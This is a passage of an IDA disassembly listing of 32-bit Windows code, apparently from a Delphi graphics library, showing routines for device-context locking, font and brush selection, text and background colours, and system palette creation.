		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015345


loc_40015333:				; CODE XREF: sub_40015270+D3j
		mov	eax, ds:dword_4001F358
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_4001533E:				; DATA XREF: sub_40015270+26o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015333
; ---------------------------------------------------------------------------


loc_40015345:				; CODE XREF: sub_40015270+13j
					; sub_40015270+CDj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40015270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015350	proc near		; CODE XREF: sub_40015600+26p
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax+1Ch]
		retn
sub_40015350	endp


; =============== S U B	R O U T	I N E =======================================



sub_40015358	proc near		; CODE XREF: sub_400153AC+2Fp
					; sub_40015840+18p
		push	ebx
		mov	ebx, eax
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		inc	dword ptr [ebx+50h]
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		lea	eax, [ebx+38h]
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		pop	ebx
		retn
sub_40015358	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015380	proc near		; CODE XREF: sub_40015458+13p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		movzx	edx, ds:byte_400153A8
		mov	eax, ebx
		call	sub_4001552C
		push	0
		push	edi
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066C8	; MoveToEx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40015380	endp

; ---------------------------------------------------------------------------
byte_400153A8	db 1			; DATA XREF: sub_40015380+9r
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400153AC	proc near		; CODE XREF: sub_40015794+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		xor	eax, eax
		push	ebp
		push	offset loc_400153F8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	dword ptr [ebx+50h], 0
		setz	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_400153E0
		mov	eax, ebx
		call	sub_40015358


loc_400153E0:				; CODE XREF: sub_400153AC+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400153FF


loc_400153ED:				; CODE XREF: sub_400153AC+51j
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_400153F8:				; DATA XREF: sub_400153AC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400153ED
; ---------------------------------------------------------------------------


loc_400153FF:				; DATA XREF: sub_400153AC+3Co
		movzx	eax, [ebp+var_1]
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_400153AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015408	proc near		; CODE XREF: sub_40015794+70p
					; sub_40015840+8Ep
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+38h]
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		dec	dword ptr [ebx+50h]
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_40015408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015430	proc near		; CODE XREF: sub_400154D8+1Fp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		movzx	edx, ds:byte_40015454
		mov	eax, ebx
		call	sub_4001552C
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066A0	; GetCurrentPositionEx
		pop	esi
		pop	ebx
		retn
sub_40015430	endp

; ---------------------------------------------------------------------------
		align 4
byte_40015454	db 1			; DATA XREF: sub_40015430+6r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015458	proc near		; CODE XREF: sub_400154D8+4Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	esi
		push	edi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		lea	edi, [esp+10h+var_10]
		movsd
		movsd
		mov	ecx, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		call	sub_40015380
		pop	ecx
		pop	edx
		pop	edi
		pop	esi
		retn
sub_40015458	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015478	proc near		; CODE XREF: sub_400154D8+16p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, [ebx+4]
		test	esi, esi
		jz	short loc_400154D0
		movzx	eax, ds:byte_400154D4
		not	eax
		and	al, [ebx+8]
		movzx	edx, byte ptr [ebx+8]
		cmp	dl, al
		jz	short loc_400154D0
		mov	eax, ds:dword_4001F310
		push	eax
		push	esi
		call	sub_400066D0	; SelectObject
		mov	eax, ds:dword_4001F314
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, ds:dword_4001F318
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		movzx	eax, ds:byte_400154D4
		not	eax
		and	al, [ebx+8]
		mov	[ebx+8], al


loc_400154D0:				; CODE XREF: sub_40015478+9j
					; sub_40015478+1Dj
		pop	esi
		pop	ebx
		retn
sub_40015478	endp

; ---------------------------------------------------------------------------
		align 4
byte_400154D4	db 0Eh			; DATA XREF: sub_40015478+Br
					; sub_40015478+49r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400154D8	proc near		; CODE XREF: sub_40015840+66p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+4]
		cmp	esi, eax
		jz	short loc_40015527
		test	eax, eax
		jz	short loc_40015512
		mov	eax, ebx
		call	sub_40015478
		mov	edx, esp
		mov	eax, ebx
		call	sub_40015430
		mov	eax, [esp+10h+var_10]
		mov	[ebx+18h], eax
		mov	eax, [esp+10h+var_C]
		mov	[ebx+1Ch], eax
		xor	eax, eax
		mov	[ebx+4], eax
		and	byte ptr [ebx+8], 0FEh


loc_40015512:				; CODE XREF: sub_400154D8+12j
		test	esi, esi
		jz	short loc_40015527
		or	byte ptr [ebx+8], 1
		mov	[ebx+4], esi
		lea	edx, [ebx+18h]
		mov	eax, ebx
		call	sub_40015458


loc_40015527:				; CODE XREF: sub_400154D8+Ej
					; sub_400154D8+3Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_400154D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4001552C	proc near		; CODE XREF: sub_40015380+12p
					; sub_40015430+Fp

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	[esp+0Ch+var_C], dl
		mov	esi, eax
		movzx	ebx, byte ptr [esi+8]
		not	ebx
		and	bl, [esp+0Ch+var_C]
		movzx	eax, ds:byte_400155A0
		cmp	al, bl
		jz	short loc_4001559B
		test	bl, 1
		jz	short loc_40015571
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		cmp	dword ptr [esi+4], 0
		jnz	short loc_40015571
		mov	ecx, off_4001AF68
		mov	dl, 1
		mov	eax, ds:off_40012FE0
		call	sub_4000B0EC
		call	sub_400042E4


loc_40015571:				; CODE XREF: sub_4001552C+1Fj
					; sub_4001552C+2Cj
		test	bl, 2
		jz	short loc_4001557D
		mov	eax, esi
		call	sub_400155A4


loc_4001557D:				; CODE XREF: sub_4001552C+48j
		test	bl, 4
		jz	short loc_40015589
		mov	eax, esi
		call	sub_400155D0


loc_40015589:				; CODE XREF: sub_4001552C+54j
		test	bl, 8
		jz	short loc_40015595
		mov	eax, esi
		call	sub_40015600


loc_40015595:				; CODE XREF: sub_4001552C+60j
		or	bl, [esi+8]
		mov	[esi+8], bl


loc_4001559B:				; CODE XREF: sub_4001552C+1Aj
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4001552C	endp

; ---------------------------------------------------------------------------
		align 10h
byte_400155A0	db 0			; DATA XREF: sub_4001552C+11r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400155A4	proc near		; CODE XREF: sub_4001552C+4Cp
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+0Ch]
		call	sub_40014F8C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+18h]
		call	sub_40014D5C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066F8	; SetTextColor
		pop	ebx
		retn
sub_400155A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400155D0	proc near		; CODE XREF: sub_4001552C+58p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+10h]
		call	sub_400151D0
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+10h]
		movzx	eax, byte ptr [eax+18h]
		movzx	eax, word_4001AD1C[eax*2]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066F0	; SetROP2
		pop	ebx
		retn
sub_400155D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40015600	proc near		; CODE XREF: sub_4001552C+64p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		call	sub_40015270
		push	eax
		call	sub_40006700	; UnrealizeObject
		mov	eax, [ebx+14h]
		call	sub_40015270
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+14h]
		call	sub_40015350
		test	al, al
		jnz	short loc_40015653
		mov	eax, [ebx+14h]
		call	sub_40015268
		call	sub_40014D5C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E0	; SetBkColor
		push	2
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E8	; SetBkMode
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40015653:				; CODE XREF: sub_40015600+2Dj
		mov	eax, [ebx+14h]
		call	sub_40015268
		call	sub_40014D5C
		not	eax
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E0	; SetBkColor
		push	1
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E8	; SetBkMode
		pop	ebx
		retn
sub_40015600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001567C	proc near

var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_408		= word ptr -408h
var_406		= word ptr -406h
var_404		= byte ptr -404h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBF8h
		push	ebx
		mov	[ebp+var_408], 300h
		mov	[ebp+var_406], 10h
		lea	edx, [ebp+var_404]
		mov	ecx, 40h
		call	sub_40002DFC
		push	0
		call	sub_40006718	; GetDC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40015779
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	68h
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066A8	; GetDeviceCaps
		mov	ebx, eax
		cmp	ebx, 10h
		jl	loc_40015760
		lea	eax, [ebp+var_404]
		push	eax
		push	8
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		cmp	[ebp+var_3E8], 0C0C0C0h
		jnz	short loc_40015742
		lea	eax, [ebp+var_3E8]
		push	eax
		push	1
		mov	eax, ebx
		sub	eax, 8
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_420]
		push	eax
		push	7
		sub	ebx, 7
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		lea	eax, [ebp+var_3E4]
		push	eax
		push	1
		push	7
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		jmp	short loc_40015760
; ---------------------------------------------------------------------------


loc_40015742:				; CODE XREF: sub_4001567C+78j
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_424]
		push	eax
		push	8
		sub	ebx, 8
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries


loc_40015760:				; CODE XREF: sub_4001567C+54j
					; sub_4001567C+C4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015780


loc_4001576D:				; CODE XREF: sub_4001567C+102j
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_40006748	; ReleaseDC
		retn
; ---------------------------------------------------------------------------


loc_40015779:				; DATA XREF: sub_4001567C+39o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001576D
; ---------------------------------------------------------------------------


loc_40015780:				; DATA XREF: sub_4001567C+ECo
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40006680	; CreatePalette
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001567C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015794	proc near		; CODE XREF: sub_40015C34+3Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	eax, dword_4001AD44
		call	sub_40013AA4
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40015832
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		dec	eax
		cmp	eax, 0
		jl	short loc_4001581A
		mov	[ebp+var_4], eax


loc_400157C4:				; CODE XREF: sub_40015794+84j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_400137FC
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		call	sub_400153AC
		test	al, al
		jz	short loc_40015811
		xor	eax, eax
		push	ebp
		push	offset loc_4001580A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		call	sub_40015840
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015811


loc_40015801:				; CODE XREF: sub_40015794+7Bj
		mov	eax, [ebp+var_C]
		call	sub_40015408
		retn
; ---------------------------------------------------------------------------


loc_4001580A:				; DATA XREF: sub_40015794+4Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015801
; ---------------------------------------------------------------------------


loc_40015811:				; CODE XREF: sub_40015794+48j
					; sub_40015794+75j
					; DATA XREF: ...
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_400157C4


loc_4001581A:				; CODE XREF: sub_40015794+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015839


loc_40015827:				; CODE XREF: sub_40015794+A3j
		mov	eax, dword_4001AD44
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40015832:				; DATA XREF: sub_40015794+16o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015827
; ---------------------------------------------------------------------------


loc_40015839:				; CODE XREF: sub_40015794+9Dj
					; DATA XREF: sub_40015794+8Eo
		mov	esp, ebp
		pop	ebp
		retn
sub_40015794	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015840	proc near		; CODE XREF: sub_40015794+5Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	loc_400158DB
		mov	eax, [ebp+var_4]
		call	sub_40015358
		xor	edx, edx
		push	ebp
		push	offset loc_400158D4
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_40015882
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	sub_400066D0	; SelectObject


loc_40015882:				; CODE XREF: sub_40015840+33j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+60h]
		test	eax, eax
		jz	short loc_4001589B
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	sub_400066D8	; SelectPalette


loc_4001589B:				; CODE XREF: sub_40015840+4Aj
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+4]
		xor	edx, edx
		mov	eax, [ebp+var_4]
		call	sub_400154D8
		push	ebx
		call	sub_40006690	; DeleteDC
		mov	edx, [ebp+var_4]
		mov	eax, dword_4001AD44
		call	sub_40013AB8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400158DB


loc_400158CB:				; CODE XREF: sub_40015840+99j
		mov	eax, [ebp+var_4]
		call	sub_40015408
		retn
; ---------------------------------------------------------------------------


loc_400158D4:				; DATA XREF: sub_40015840+20o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400158CB
; ---------------------------------------------------------------------------


loc_400158DB:				; CODE XREF: sub_40015840+Fj
					; sub_40015840+93j
					; DATA XREF: ...
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40015840	endp

; ---------------------------------------------------------------------------
		align 10h
		db  53h	; S
		db  6Ah	; j
		db    0
		db 0E8h	; è
		db  30h	; 0
		db  0Eh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  6Ah	; j
		db  5Ah	; Z
		db  53h	; S
		db 0E8h	; è
		db 0B6h	; ¶
		db  0Dh
		db 0FFh
		db 0FFh
		db 0A3h	; £
		db  0Ch	;  OFF32 SEGDEF	[_bss,4001F30C]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  53h	; S
		db  6Ah	; j
		db    0
		db 0E8h	; è
		db  49h	; I
		db  0Eh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  48h	; H OFF32 SEGDEF [_data,4001AD48]
		db 0ADh	; ­
		db    1
		db  40h	; @
		db 0BAh	; º
		db  0Fh
		db    0
		db    0
		db    0
		db 0E8h	; è
		db  6Eh	; n
		db 0FDh	; ý
		db 0FFh
		db 0FFh
		db 0A3h	; £
		db    4	;  OFF32 SEGDEF	[_bss,4001F304]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  5Bh	; [
		db 0C3h	; Ã
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015918	proc near		; CODE XREF: sub_40014F8C+178p

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFC8h
		mov	bl, 1
		push	0
		call	sub_40006718	; GetDC
		mov	esi, eax
		test	esi, esi
		jz	short loc_40015954
		mov	eax, ds:dword_4001F318
		push	eax
		push	esi
		call	sub_400066D0	; SelectObject
		test	eax, eax
		jz	short loc_4001594C
		push	esp
		push	esi
		call	sub_400066C0	; GetTextMetricsA
		test	eax, eax
		jz	short loc_4001594C
		movzx	ebx, [esp+40h+var_C]


loc_4001594C:				; CODE XREF: sub_40015918+22j
					; sub_40015918+2Dj
		push	esi
		push	0
		call	sub_40006748	; ReleaseDC


loc_40015954:				; CODE XREF: sub_40015918+12j
		mov	eax, ebx
		add	esp, 38h
		pop	esi
		pop	ebx
		retn
sub_40015918	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0C4h	; Ä
		db 0F8h	; ø
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  33h	; 3
		db 0C0h	; À
		db  89h	; ‰
		db  45h	; E
		db 0FCh	; ü
		db  33h	; 3
		db 0C0h	; À
		db  55h	; U
		db  68h	; h
		db  5Fh	; _ OFF32 SEGDEF [_text,40015A5F]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  64h	; d
		db 0FFh
		db  30h	; 0
		db  64h	; d
		db  89h	; ‰
		db  20h
		db  6Ah	; j
		db  48h	; H
		db 0A1h	; ¡
		db  0Ch	;  OFF32 SEGDEF	[_bss,4001F30C]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  50h	; P
		db  6Ah	; j
		db    8
		db 0E8h	; è
		db  81h	; 
		db  0Ch
		db 0FFh
		db 0FFh
		db 0F7h	; ÷
		db 0D8h	; Ø
		db 0A3h	; £
		db 0ACh	; ¬ OFF32 SEGDEF [_data,4001AAAC]
		db 0AAh	; ª
		db    1
		db  40h	; @
		db 0A1h	; ¡
		db 0C8h	; È OFF32 SEGDEF [_data,4001B0C8]
		db 0B0h	; °
		db    1
		db  40h	; @
		db  83h	; ƒ
		db  38h	; 8
		db    1
		db  75h	; u
		db  16h
		db 0E8h	; è
		db  7Bh	; {
		db 0FFh
		db 0FFh
		db 0FFh
		db  3Ch	; <
		db  80h	; €
		db  75h	; u
		db  0Dh
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; ü
		db 0BAh	; º
		db  74h	; t OFF32 SEGDEF [_text,40015A74]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db 0E8h	; è
		db  6Eh	; n
		db 0EFh	; ï
		db 0FEh	; þ
		db 0FFh
		db 0B2h	; ²
		db    1
		db 0A1h	; ¡
		db  4Ch	; L OFF32 SEGDEF [_text,4001404C]
		db  40h	; @
		db    1
		db  40h	; @
		db 0E8h	; è
		db  92h	; ’
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  89h	; ‰
		db  45h	; E
		db 0F8h	; ø
		db  33h	; 3
		db 0C0h	; À
		db  55h	; U
		db  68h	; h
		db  17h	;  OFF32 SEGDEF	[_text,40015A17]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  64h	; d
		db 0FFh
		db  30h	; 0
		db  64h	; d
		db  89h	; ‰
		db  20h
		db 0BAh	; º
		db    2
		db    0
		db    0
		db  80h	; €
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db  14h
		db 0E8h	; è
		db 0FFh
		db 0FFh
		db 0BAh	; º
		db  84h	; „ OFF32 SEGDEF [_text,40015A84]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db  8Fh	; 
		db 0E9h	; é
		db 0FFh
		db 0FFh
		db  84h	; „
		db 0C0h	; À
		db  74h	; t
		db  18h
		db  8Dh	; 
		db  4Dh	; M
		db 0FCh	; ü
		db 0BAh	; º
		db 0CCh	; Ì OFF32 SEGDEF [_text,40015ACC]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db 0DBh	; Û
		db 0EBh	; ë
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db 0BBh	; »
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  33h	; 3
		db 0C0h	; À
		db  5Ah	; Z
		db  59h	; Y
		db  59h	; Y
		db  64h	; d
		db  89h	; ‰
		db  10h
		db  68h	; h
		db  1Eh	;  OFF32 SEGDEF	[_text,40015A1E]
		db  5Ah	; Z
		db    1
		db  40h	; @
; ---------------------------------------------------------------------------


loc_40015A0E:				; CODE XREF: .text:40015A1Cj
		mov	eax, [ebp-8]
		call	sub_40003CE8
		retn
; ---------------------------------------------------------------------------
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015A0E
; ---------------------------------------------------------------------------


loc_40015A1E:				; CODE XREF: .text:40015A16j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40015A49
		lea	eax, [ebp-108h]
		mov	edx, [ebp-4]
		mov	ecx, 0FFh
		call	sub_40004B20
		lea	edx, [ebp-108h]
		mov	eax, offset byte_4001AAB7
		mov	cl, 1Fh
		call	sub_400034F4


loc_40015A49:				; CODE XREF: .text:40015A22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015A66


loc_40015A56:				; CODE XREF: .text:40015A64j
		lea	eax, [ebp-4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015A56
; ---------------------------------------------------------------------------


loc_40015A66:				; CODE XREF: .text:40015A5Ej
					; DATA XREF: .text:40015A51o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 6
aTahoma		db 'Tahoma',0
		align 4
		dd 0FFFFFFFFh, 3Ch
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes',0
		align 4
		dd 0FFFFFFFFh, 0Eh
		dd 5320534Dh, 6C6C6568h, 676C4420h, 3220h
off_40015ADC	dd offset dword_40015B28 ; DATA	XREF: .itext:4001933Eo
		dd 7 dup(0)
		dd offset dword_40015B28
		dd 20h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40015B70
dword_40015B28	dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h
					; DATA XREF: .text:off_40015ADCo
					; .text:40015AFCo
		dd 0C4830874h, 0E3EAE8F0h, 0DA8BFFFEh, 468DF08Bh, 8DE85008h
		dd 8BFFFF0Ah, 74DB84C6h, 0E42AE80Fh, 8F64FFFEh,	5, 0CC48300h
		dd 5B5EC68Bh, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_40015B70	proc near		; DATA XREF: .text:40015B24o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40015BB4
		lea	eax, [esi+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		test	bl, bl
		jle	short loc_40015B96
		mov	eax, esi
		call	sub_40003F80


loc_40015B96:				; CODE XREF: sub_40015B70+1Dj
		pop	esi
		pop	ebx
		retn
sub_40015B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015B9C	proc near		; CODE XREF: sub_40015BB4+19p
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_40015B9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015BA8	proc near		; CODE XREF: sub_40015BB4+47p
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_40015BA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015BB4	proc near		; CODE XREF: sub_40015B70+Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		jmp	short loc_40015C21
; ---------------------------------------------------------------------------


loc_40015BC1:				; CODE XREF: sub_40015BB4+75j
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		call	sub_40015B9C
		xor	eax, eax
		push	ebp
		push	offset loc_40015C01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015C08


loc_40015BF8:				; CODE XREF: sub_40015BB4+52j
		mov	eax, [ebp+var_4]
		call	sub_40015BA8
		retn
; ---------------------------------------------------------------------------


loc_40015C01:				; DATA XREF: sub_40015BB4+21o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015BF8
; ---------------------------------------------------------------------------


loc_40015C08:				; CODE XREF: sub_40015BB4+4Cj
					; DATA XREF: sub_40015BB4+3Fo
		mov	eax, [ebp+var_C]
		mov	esi, [eax+4]
		test	esi, esi
		jz	short loc_40015C19
		mov	eax, esi
		call	sub_40003CE8


loc_40015C19:				; CODE XREF: sub_40015BB4+5Cj
		mov	eax, [ebp+var_8]
		call	sub_40002C3C


loc_40015C21:				; CODE XREF: sub_40015BB4+Bj
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+4]
		test	ebx, ebx
		jnz	short loc_40015BC1
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40015BB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

